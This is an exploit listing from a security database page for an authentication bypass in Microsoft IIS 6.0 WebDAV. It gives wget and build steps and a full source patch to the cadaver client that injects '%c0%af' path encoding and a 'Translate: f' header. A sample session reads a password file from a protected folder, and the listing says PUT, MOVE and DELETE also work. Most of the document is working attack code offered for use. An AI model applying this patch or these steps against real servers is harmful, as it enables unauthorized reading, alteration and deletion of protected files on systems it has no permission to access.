Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit

2009-05-21 / 2009-05-22
Credit: nobody
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Blog with a detailed description: # http://www.skullsecurity.org/blog/?p=285 # # And the patch itself: # http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch # # > mkdir cadaver-h4x # > cd cadaver-h4x # > wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch # --snip-- # > wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz # --snip-- # > tar xzvf cadaver-0.23.2.tar.gz # --snip-- # > cd cadaver-0.23.2/ # > patch -p1 < ../cadaver-0.23.2-h4x.patch # patching file lib/neon/ne_basic.c # patching file lib/neon/ne_request.c # patching file lib/neon/ne_uri.c # > ./configure # --snip-- # > make # --snip-- # # Now we should have a patched, compiled version of cadaver, so start it # up with the server that was identified as having a vulnerable folder # earlier: # # > ./cadaver xxx.xxx.xxx.xxx # # This should drop you to a prompt. Now just cd into the # vulnerable folder and check out w. there: # # dav:/> cd secret # dav:/secret/> ls # Listing collection `/secret/': succeeded. # password.txt 7 May 19 10:40 # dav:/secret/> cat password.txt # Displaying `/secret/password.txt': # ron$pr0ns # dav:/secret/> # # Here. a list of commands that I.e tested that work with the patched # cadaver on a vulnerable folder: # * CD # * LS # * MOVE # * PUT # * GET # * CAT # * DELETE diff -rub cadaver-0.23.2/lib/neon/ne_basic.c cadaver-0.23.2-h4x/lib/neon/ne_basic.c --- cadaver-0.23.2/lib/neon/ne_basic.c 2008-02-07 16:22:07.000000000 -0600 +++ cadaver-0.23.2-h4x/lib/neon/ne_basic.c 2009-05-20 16:13:46.000000000 -0500 @@ -402,7 +402,7 @@ value = "infinity"; break; } - ne_add_request_header(req, "Depth", value); + ne_add_request_header(req, "Depth", "1"); } static int copy_or_move(ne_session *sess, int is_move, int overwrite, diff -rub cadaver-0.23.2/lib/neon/ne_request.c cadaver-0.23.2-h4x/lib/neon/ne_request.c --- cadaver-0.23.2/lib/neon/ne_request.c 2008-01-30 05:35:52.000000000 -0600 +++ cadaver-0.23.2-h4x/lib/neon/ne_request.c 2009-05-20 16:35:46.000000000 -0500 @@ -405,6 +405,7 @@ "Connection: TE" EOL "TE: trailers" EOL); } + ne_buffer_czappend(req->headers, "Translate: f" EOL); } int ne_accept_always(void *userdata, ne_request *req, const ne_status *st) @@ -420,6 +421,7 @@ ne_request *ne_request_create(ne_session *sess, const char *method, const char *path) { + char *path2 = ne_calloc(strlen(path)+7); ne_request *req = ne_calloc(sizeof *req); req->session = sess; @@ -435,13 +437,18 @@ req->method = ne_strdup(method); req->method_is_head = (strcmp(method, "HEAD") == 0); + if(strlen(path)>2) + sprintf(path2, "%c%c%%c0%%af%s", path[0], path[1], path+2); + else + path2 = path; + /* Only use an absoluteURI here when absolutely necessary: some * servers can't parse them. */ - if (req->session->use_proxy && !req->session->use_ssl && path[0] == '/') + if (req->session->use_proxy && !req->session->use_ssl && path2[0] == '/') req->uri = ne_concat(req->session->scheme, "://", - req->session->server.hostport, path, NULL); + req->session->server.hostport, path2, NULL); else - req->uri = ne_strdup(path); + req->uri = ne_strdup(path2); { struct hook *hk; diff -rub cadaver-0.23.2/lib/neon/ne_uri.c cadaver-0.23.2-h4x/lib/neon/ne_uri.c --- cadaver-0.23.2/lib/neon/ne_uri.c 2007-12-05 05:04:47.000000000 -0600 +++ cadaver-0.23.2-h4x/lib/neon/ne_uri.c 2009-05-20 16:13:46.000000000 -0500 @@ -96,7 +96,7 @@ /* 0xXX x0 x2 x4 x6 x8 xA xC xE */ /* 0x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, /* 1x */ OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, OT, -/* 2x */ OT, SD, OT, GD, SD, PC, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS, +/* 2x */ OT, SD, OT, GD, SD, AL, SD, SD, SD, SD, SD, PS, SD, DS, DT, FS, /* 3x */ DG, DG, DG, DG, DG, DG, DG, DG, DG, DG, CL, SD, OT, SD, OT, QU, /* 4x */ AT, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, /* 5x */ AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, AL, GD, OT, GD, OT, US,


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top